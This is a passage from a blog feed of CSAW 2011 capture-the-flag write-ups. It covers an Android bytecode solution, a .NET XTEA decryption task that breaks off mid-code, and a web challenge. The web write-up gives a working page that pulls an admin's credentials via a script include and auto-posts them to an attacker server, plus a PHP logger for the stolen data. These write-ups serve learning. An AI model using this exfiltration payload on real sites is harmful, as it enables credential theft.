<span style="color: #cc66cc;">2433</span>     invokestatic com<span style="color: #339933;">/</span>google<span style="color: #339933;">/</span>youngandroid<span style="color: #339933;">/</span>runtime<span style="color: #339933;">/</span>setAndCoerceProperty$Ex<span style="color: #009900;">&#40;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span>Ljava<span style="color: #339933;">/</span>lang<span style="color: #339933;">/</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aobject+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Object</span></a><span style="color: #339933;">;</span><br />
<span style="color: #cc66cc;">2434</span>     areturn<br />
<span style="color: #cc66cc;">2435</span> .<span style="color: #006633;">end</span> method</div></div>
<p>Hash ? Lets try that.. validated. So this was the key: bdd2e9488929399071a72991e196e6d0</p>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/09/26/csaw-2011-android2-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 CrackJack Web6 Write-up</title>
		<link>http://codezen.fr/2011/09/26/csaw-2011-crackjack-web6-write-up/</link>
		<comments>http://codezen.fr/2011/09/26/csaw-2011-crackjack-web6-write-up/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 14:10:18 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[CSAW]]></category>
		<category><![CDATA[JS]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=16</guid>
		<description><![CDATA[In this challenge, we need to get administrator credential on someone's site who loves cat, ajax and getting contact emails. A robot will visit any link you post in the contact form, this robot is at the same time logged in the site's administrator account. The key vulnerability in this application is that the AJAX [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge, we need to get administrator credential on someone's site who loves cat, ajax and getting contact emails.</p>
<p>A robot will visit any link you post in the contact form, this robot is at the same time logged in the site's administrator account.</p>
<p><span id="more-16"></span>The key vulnerability in this application is that the AJAX calls aren't returning JSON.. they are returning Javascript expressions. This make it much easier to exploit because we don't need to do any cross-domain calls.</p>
<p>One particularly interesting page is the self.php page that give to the connected user some informations about his account: username and password</p>
<p>The content of this page is built using ... AJAX calls that fetch Javascript expressions containing an array with the username and password. You see were we are going.</p>
<p>One hint given by the CTF team is that the internal IP of the web server as seen from the administration's point of view is 192.168.4.4</p>
<p>So normaly, the url is http://csawctf.poly.edu:40004/challenge2/json/getcurrent.js</p>
<p>From the administrator's point of view, it will be http://192.168.4.4/challenge2/json/getcurrent.js</p>
<p>So we need:</p>
<ul>
<li>a way to fetch the javascript from this url</li>
<li>send it back to a server we control</li>
</ul>
<p>We did something very simple following a bright idea of our team-mate fser: using a script tag to fetch the remote Javascript expression. Then we use some javascript to update a form's hidden fields with the username and password and we submit the form to our remote server. That's it.</p>
<p>Code for the page the robot (administrator of the site) will visit:</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;script type=&quot;text/javascript&quot; src=&quot;http://192.168.4.4/challenge2/json/getcurrent.js&quot;&gt;&lt;/script&gt;<br />
<span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span><br />
<span style="color: #003366; font-weight: bold;">function</span> getCurrent<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">username</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">=</span> current.<span style="color: #660066;">username</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">password</span>.<span style="color: #660066;">value</span> <span style="color: #339933;">=</span> current.<span style="color: #660066;">password</span><span style="color: #339933;">;</span><br />
document.<span style="color: #660066;">forms</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">submit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span><br />
<br />
&lt;body onload=&quot;getCurrent()&quot;&gt;<br />
&lt;form id=&quot;myform&quot; action=&quot;http://1.2.3.4/stealth.php&quot; method=&quot;POST&quot;&gt;<br />
&lt;input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;defaultusername&quot;/&gt;<br />
&lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;defaultpassword&quot;/&gt;<br />
&lt;/form&gt;<br />
&lt;/body&gt;</div></div>
<p>Code for the data stealer targeted by our auto-submitted form: (nothing special)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'log.txt'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <a href="http://www.php.net/serialize"><span style="color: #990000;">serialize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> PHP_EOL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <a href="http://www.php.net/serialize"><span style="color: #990000;">serialize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> PHP_EOL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>When the robot hit our page, we get the result in our log file:</p>
<p>a:0:{}<br />
a:2:{s:8:"username";s:13:"administrator";s:8:"password";s:40:"2d8a579d4d4bbd98399f47df0d6c8fd0be22e3a8";}</p>
<p>Now we log on the website with this username and password and we get the key on the frontpage. We are done.</p>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/09/26/csaw-2011-crackjack-web6-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 .NET1 Bin200 Write-up</title>
		<link>http://codezen.fr/2011/09/26/csaw-2011-net1-bin200-write-up/</link>
		<comments>http://codezen.fr/2011/09/26/csaw-2011-net1-bin200-write-up/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 13:43:45 +0000</pubDate>
		<dc:creator>aXs</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Crypto]]></category>
		<category><![CDATA[CSAW]]></category>
		<category><![CDATA[RCE]]></category>

		<guid isPermaLink="false">http://codezen.fr/?p=5</guid>
		<description><![CDATA[In this challenge, we get an archive with an encrypted file and an executable that was used to encrypt it. We have to decrypt this file to get the key. The executable is a pure .NET assembly so we can use ILSpy: http://wiki.sharpdevelop.net/ILSpy.ashx We get this quickly: using System; using System.IO; namespace DumpPrepper &#123; internal [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge, we get an archive with an encrypted file and an executable that was used to encrypt it.</p>
<p>We have to decrypt this file to get the key.</p>
<p><span id="more-5"></span></p>
<p>The executable is a pure .NET assembly so we can use ILSpy: <a href="http://wiki.sharpdevelop.net/ILSpy.ashx">http://wiki.sharpdevelop.net/ILSpy.ashx</a></p>
<p>We get this quickly:</p>
<div class="codecolorer-container csharp default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0600FF; font-weight: bold;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">using</span> <span style="color: #008080;">System.IO</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">namespace</span> DumpPrepper<br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">internal</span> <span style="color: #6666cc; font-weight: bold;">class</span> Program<br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><br />
<span style="color: #008000;">&#123;</span><br />
1929540644u,<br />
2488374377u,<br />
339237175u,<br />
54625381u<br />
<span style="color: #008000;">&#125;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">void</span> Main<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">string</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> args<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>args<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">1</span> <span style="color: #008000;">||</span> args<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">1</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
Console<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteLine</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">&quot;Usage: DumpPrepper.exe file&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #008000;">!</span>File<span style="color: #008000;">.</span><span style="color: #0000FF;">Exists</span><span style="color: #008000;">&#40;</span>args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
Console<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteLine</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">&quot;Could not find &quot;</span> <span style="color: #008000;">+</span> args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> plaintext <span style="color: #008000;">=</span> File<span style="color: #008000;">.</span><span style="color: #0000FF;">ReadAllBytes</span><span style="color: #008000;">&#40;</span>args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> bytes <span style="color: #008000;">=</span> Program<span style="color: #008000;">.</span><span style="color: #0000FF;">Encrypt</span><span style="color: #008000;">&#40;</span>plaintext, Program<span style="color: #008000;">.</span><span style="color: #0000FF;">key</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">string</span> path <span style="color: #008000;">=</span> DateTime<span style="color: #008000;">.</span><span style="color: #0000FF;">UtcNow</span><span style="color: #008000;">.</span><span style="color: #0000FF;">ToString</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">.</span><span style="color: #0000FF;">Replace</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">'/'</span>, <span style="color: #666666;">'-'</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">.</span><span style="color: #0000FF;">Replace</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">':'</span>, <span style="color: #666666;">'-'</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;.dmp&quot;</span><span style="color: #008000;">;</span><br />
File<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteAllBytes</span><span style="color: #008000;">&#40;</span>path, bytes<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> Encrypt<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> plaintext, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span> b <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #FF0000;">8</span> <span style="color: #008000;">-</span> plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">%</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span>plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">+</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span>b<span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>plaintext, array, plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span> i <span style="color: #008000;">=</span> plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> i<span style="color: #008000;">++</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
array<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> b<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array2 <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span>array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span> j <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span> j <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> j <span style="color: #008000;">+=</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> v <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><br />
<span style="color: #008000;">&#123;</span><br />
BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">ToUInt32</span><span style="color: #008000;">&#40;</span>array, j<span style="color: #008000;">&#41;</span>,<br />
BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">ToUInt32</span><span style="color: #008000;">&#40;</span>array, j <span style="color: #008000;">+</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#125;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array3 <span style="color: #008000;">=</span> Program<span style="color: #008000;">.</span><span style="color: #0000FF;">ProcessBlock</span><span style="color: #008000;">&#40;</span>64u, v, key<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">GetBytes</span><span style="color: #008000;">&#40;</span>array3<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span>, <span style="color: #FF0000;">0</span>, array2, j, <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">GetBytes</span><span style="color: #008000;">&#40;</span>array3<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span>, <span style="color: #FF0000;">0</span>, array2, j <span style="color: #008000;">+</span> <span style="color: #FF0000;">4</span>, <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span> array2<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> ProcessBlock<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">uint</span> num_rounds, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> v, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>key<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">!=</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">throw</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ArgumentException<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>v<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">!=</span> <span style="color: #FF0000;">2</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">throw</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ArgumentException<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num <span style="color: #008000;">=</span> v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num2 <span style="color: #008000;">=</span> v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num3 <span style="color: #008000;">=</span> 0u<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num4 <span style="color: #008000;">=</span> 2654435769u<span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">uint</span> num5 <span style="color: #008000;">=</span> 0u<span style="color: #008000;">;</span> num5 <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> num_rounds<span style="color: #008000;">;</span> num5 <span style="color: #008000;">+=</span> 1u<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num6 <span style="color: #008000;">=</span> num2 <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num7 <span style="color: #008000;">=</span> num2 <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">5</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num8 <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span>num6 <span style="color: #008000;">^</span> num7<span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> num2<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num9 <span style="color: #008000;">=</span> num3 <span style="color: #008000;">+</span> key<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>UIntPtr<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span>num3 <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;</span> 3u<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
num <span style="color: #008000;">+=</span> <span style="color: #008000;">&#40;</span>num8 <span style="color: #008000;">^</span> num9<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
num3 <span style="color: #008000;">+=</span> num4<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num10 <span style="color: #008000;">=</span> num <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num11 <span style="color: #008000;">=</span> num <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">5</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num12 <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span>num10 <span style="color: #008000;">^</span> num11<span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> num<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num13 <span style="color: #008000;">=</span> num3 <span style="color: #008000;">+</span> key<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>UIntPtr<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span>num3 <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">11</span> <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;</span> 3u<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
num2 <span style="color: #008000;">+=</span> <span style="color: #008000;">&#40;</span>num12 <span style="color: #008000;">^</span> num13<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> num<span style="color: #008000;">;</span><br />
v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> num2<span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span> v<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>We notice the Decrypt function is not part of the binary, we have to write it ourselve.</p>
<p>This could take a lot of time if you don't first study a little bit the ProcessBlock function. Googling "2654435769" will bring up a very interesting article: <a href="http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm">http://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm</a></p>
<p>Now, the implementation code on Wikipedia don't exactly match the code in our binary, it's missing the round stuff. That feature was introduced in TEA's successor: <a href="http://en.wikipedia.org/wiki/XTEA">http://en.wikipedia.org/wiki/XTEA</a></p>
<p>There the code matchs perfectly. We only have now to code the Decrypt function following the implementation example on Wikipedia.</p>
<p>This give something like:</p>
<div class="codecolorer-container csharp default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="csharp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #0600FF; font-weight: bold;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">using</span> <span style="color: #008080;">System.IO</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">namespace</span> DumpPrepper<br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">internal</span> <span style="color: #6666cc; font-weight: bold;">class</span> Program<br />
<span style="color: #008000;">&#123;</span><br />
